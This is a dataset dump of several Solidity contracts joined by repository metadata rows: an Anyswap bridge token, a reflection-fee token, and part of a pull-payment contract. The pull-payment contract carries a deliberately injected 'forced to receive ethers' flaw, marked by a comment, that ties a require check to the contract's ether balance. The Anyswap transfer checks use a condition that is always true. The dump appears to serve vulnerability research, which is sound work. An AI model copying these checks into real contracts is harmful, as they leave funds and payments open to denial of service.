function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 72,875 | 13,570 |
9dd989be3d75cf96f42dcfe2fecf0aa3bf07a15a929745f4df854db13a00588c
| 18,829 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/6f/6F110066EA83ABb5AA3fe0AD0677540B9CD543D0_SMARTAVA.sol
| 4,186 | 15,798 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SMARTAVA is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'SMARTAVA';
string private _symbol = 'SMARTAVA';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(7);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 89,117 | 13,571 |
70e53d44f81cfa7334a2f89a44cf8666d506eba22996419b2b37c437a7e67bfd
| 16,868 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/forcedToReceiveEthers/0x50beedc12b63158b578ce85a2ecd069a67d69e15_forcedToReceiveEthers.sol
| 2,813 | 11,890 |
pragma solidity 0.5.10;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract PayableOwnable {
address payable internal _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address payable) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/// @title PumaPay Single Pull Payment - Contract that facilitates our pull payment protocol
/// @author PumaPay Dev Team - <developers@pumapay.io>
contract SinglePullPaymentWithFunding is PayableOwnable {
using SafeMath for uint256;
/// Events
event LogExecutorAdded(address executor);
event LogExecutorRemoved(address executor);
event LogSmartContractActorFunded(string actorRole, address actor, uint256 timestamp);
event LogPullPaymentExecuted(address customerAddress,
address receiverAddress,
uint256 amountInPMA,
bytes32 paymentID,
bytes32 businessID,
string uniqueReferenceID);
/// Constants
bytes32 constant private EMPTY_BYTES32 = "";
uint256 constant private FUNDING_AMOUNT = 0.5 ether; /// Amount to transfer to owner/executor
uint256 constant private MINIMUM_AMOUNT_OF_ETH_FOR_OPERATORS = 0.15 ether; /// min amount of ETH for owner/executor
/// Members
IERC20 public token;
mapping(address => bool) public executors;
mapping(bytes32 => PullPayment) public pullPayments;
struct PullPayment {
bytes32[2] paymentDetails; /// [0] paymentID / [1] businessID
uint256 paymentAmount; /// payment amount in fiat in cents
address customerAddress; /// wallet address of customer
address receiverAddress; /// address which pma tokens will be transfer to on execution
string uniqueReferenceID;
}
/// Modifiers
modifier isExecutor() {
require(executors[msg.sender], "msg.sender not an executor");
_;
}
modifier executorExists(address _executor) {
require(executors[_executor], "Executor does not exists.");
_;
}
modifier executorDoesNotExists(address _executor) {
require(!executors[_executor], "Executor already exists.");
_;
}
modifier isValidAddress(address _address) {
require(_address != address(0), "Invalid address - ZERO_ADDRESS provided");
_;
}
modifier isValidNumber(uint256 _amount) {
require(_amount > 0, "Invalid amount - Must be higher than zero");
_;
}
modifier isValidByte32(bytes32 _text) {
require(_text != EMPTY_BYTES32, "Invalid byte32 value.");
_;
}
modifier pullPaymentDoesNotExists(address _customerAddress, bytes32 _paymentID) {
require(pullPayments[_paymentID].paymentDetails[0] == EMPTY_BYTES32, "Pull payment already exists - Payment ID");
require(pullPayments[_paymentID].paymentDetails[1] == EMPTY_BYTES32, "Pull payment already exists - Business ID");
require(address(this).balance == 0, "Pull payment already exists - Payment Amount"); //inject FORCED TO RECEIVE ETHERS
require(pullPayments[_paymentID].receiverAddress == address(0), "Pull payment already exists - Receiver Address");
_;
}
/// Constructor
